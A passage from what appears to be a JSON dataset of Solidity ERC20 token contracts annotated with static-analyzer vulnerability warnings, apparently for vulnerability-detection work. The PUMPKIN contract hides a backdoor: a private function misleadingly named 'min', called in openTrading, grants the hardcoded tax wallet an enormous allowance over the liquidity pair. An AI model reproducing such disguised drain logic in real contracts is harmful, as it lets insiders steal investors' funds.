0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 814f655\n\t\t// unused-return | ID: 1f95147\n\t\t// reentrancy-eth | ID: 7780dd6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 814f655\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7780dd6\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: dba9411\n\t\t// reentrancy-events | ID: 1cd48d8\n\t\t// reentrancy-benign | ID: 31ba74b\n\t\t// reentrancy-benign | ID: d63efcb\n\t\t// reentrancy-eth | ID: 77011f9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2c5fc3b): YunaChan.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 2c5fc3b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 2c5fc3b\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10657.sol",
"size_bytes": 22063,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 865802f): PUMPKIN.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 865802f: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25ac383): PUMPKIN.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 25ac383: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f3a89fd): PUMPKIN.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for f3a89fd: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8de2823): PUMPKIN.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 8de2823: Consider ordering multiplication before division.\ncontract PUMPKIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8b78a6): PUMPKIN._taxWallet should be constant \n\t// Recommendation for f8b78a6: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x43f045aC243A35f91b09aC7442A915e7eC2f319f);\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ghost Pumpkin\";\n\n string private constant _symbol = unicode\"PUMPKIN\";\n\n\t// divide-before-multiply | ID: 25ac383\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: f3a89fd\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 27aebc1): PUMPKIN._taxSwapThreshold should be constant \n\t// Recommendation for 27aebc1: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 865802f\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 93b2f14): PUMPKIN._maxTaxSwap should be constant \n\t// Recommendation for 93b2f14: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 8de2823\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ff966a): PUMPKIN._initialBuyTax should be constant \n\t// Recommendation for 6ff966a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: de98e92): PUMPKIN._initialSellTax should be constant \n\t// Recommendation for de98e92: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e1a3f): PUMPKIN._finalBuyTax should be constant \n\t// Recommendation for 37e1a3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f94c6d): PUMPKIN._finalSellTax should be constant \n\t// Recommendation for 5f94c6d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f19480): PUMPKIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 8f19480: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9458694): PUMPKIN._reduceSellTaxAt should be constant \n\t// Recommendation for 9458694: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdd7813): PUMPKIN._preventSwapBefore should be constant \n\t// Recommendation for fdd7813: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33d35d3): PUMPKIN._transferTax should be constant \n\t// Recommendation for 33d35d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniV2Router;\n\n address private uniV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function createPair() external onlyOwner {\n uniV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router), _tTotal);\n\n uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(\n address(this),\n uniV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72dd290): PUMPKIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72dd290: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 496f8a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 496f8a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4b3ab93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4b3ab93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 496f8a2\n\t\t// reentrancy-benign | ID: 4b3ab93\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 496f8a2\n\t\t// reentrancy-benign | ID: 4b3ab93\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1c920d0): PUMPKIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1c920d0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4b3ab93\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 496f8a2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e301e6b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e301e6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d34896a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d34896a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 fee = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n fee = _transferTax;\n }\n\n if (\n from == uniV2Pair &&\n to != address(uniV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n fee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair && from != address(this)) {\n fee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: e301e6b\n\t\t\t\t\t// reentrancy-eth | ID: d34896a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: e301e6b\n\t\t\t\t// reentrancy-eth | ID: d34896a\n sendEthFee(address(this).balance);\n }\n }\n\n uint256 taxAmount = fee.mul(amount).div(100);\n\n if (fee > 0) {\n\t\t\t// reentrancy-eth | ID: d34896a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e301e6b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d34896a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d34896a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e301e6b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router.WETH();\n\n _approve(address(this), address(uniV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e301e6b\n\t\t// reentrancy-events | ID: 496f8a2\n\t\t// reentrancy-benign | ID: 4b3ab93\n\t\t// reentrancy-eth | ID: d34896a\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(address[2] memory a, uint256 b) private {\n\t\t// reentrancy-benign | ID: 21dc01e\n _allowances[a[0]][a[1]] = b;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendEthFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e301e6b\n\t\t// reentrancy-events | ID: 496f8a2\n\t\t// reentrancy-eth | ID: d34896a\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 21dc01e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 21dc01e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d02a25c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d02a25c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9cd297b): PUMPKIN.openTrading() ignores return value by IERC20(uniV2Pair).approve(address(uniV2Router),type()(uint256).max)\n\t// Recommendation for 9cd297b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 52d8440): PUMPKIN.openTrading() ignores return value by uniV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 52d8440: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7d45ae5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7d45ae5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n uint256 tax = 1000 * _tTotal;\n\n address[2] memory routes = [uniV2Pair, _taxWallet];\n\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 21dc01e\n\t\t// reentrancy-benign | ID: d02a25c\n\t\t// unused-return | ID: 52d8440\n\t\t// reentrancy-eth | ID: 7d45ae5\n uniV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 21dc01e\n min(routes, tax);\n\n\t\t// reentrancy-benign | ID: d02a25c\n\t\t// unused-return | ID: 9cd297b\n\t\t// reentrancy-eth | ID: 7d45ae5\n IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d02a25c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7d45ae5\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10658.sol",
"size_bytes": 20478,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MEMORY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fc3b9b): MEMORY._initialBuyTax should be constant \n\t// Recommendation for 7fc3b9b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f3b3f4): MEMORY._initialSellTax should be constant \n\t// Recommendation for 7f3b3f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36985ce): MEMORY._finalBuyTax should be constant \n\t// Recommendation for 36985ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a922ac): MEMORY._finalSellTax should be constant \n\t// Recommendation for 6a922ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1345dfa): MEMORY._reduceBuyTaxAt should be constant \n\t// Recommendation for 1345dfa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: 264658f): MEMORY._reduceSellTaxAt should be constant \n\t// Recommendation for 264658f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: a76f9b8): MEMORY._preventSwapBefore should be constant \n\t// Recommendation for a76f9b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Memory\";\n\n string private constant _symbol = unicode\"MEMORY\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 896cde6): MEMORY._taxSwapThreshold should be constant \n\t// Recommendation for 896cde6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f34e5e): MEMORY._maxTaxSwap should be constant \n\t// Recommendation for 4f34e5e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 13000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1563313): MEMORY._taxWallet should be immutable \n\t// Recommendation for 1563313: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address private uniswapPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5b08ef): MEMORY.basicUniExcluded should be constant \n\t// Recommendation for a5b08ef: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f155327): MEMORY.basicUniExcluded is never initialized. It is used in MEMORY._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for f155327: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private basicUniExcluded;\n\n struct BasicUniData {\n uint256 bsUniStd;\n uint256 rwrdStake;\n uint256 isBasicRwrd;\n }\n\n uint256 private maxBasicUniData;\n\n mapping(address => BasicUniData) private basicUni;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xf0f943892B479F877e644b65E936b826aDf85DFc);\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[address(this)] = true;\n\n _excludedFromLimits[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f7877bd): MEMORY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f7877bd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb57085): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb57085: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 042bdc7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 042bdc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cb57085\n\t\t// reentrancy-benign | ID: 042bdc7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cb57085\n\t\t// reentrancy-benign | ID: 042bdc7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 373b6ed): MEMORY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 373b6ed: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 042bdc7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cb57085\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1095580): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1095580: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9fa0df6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 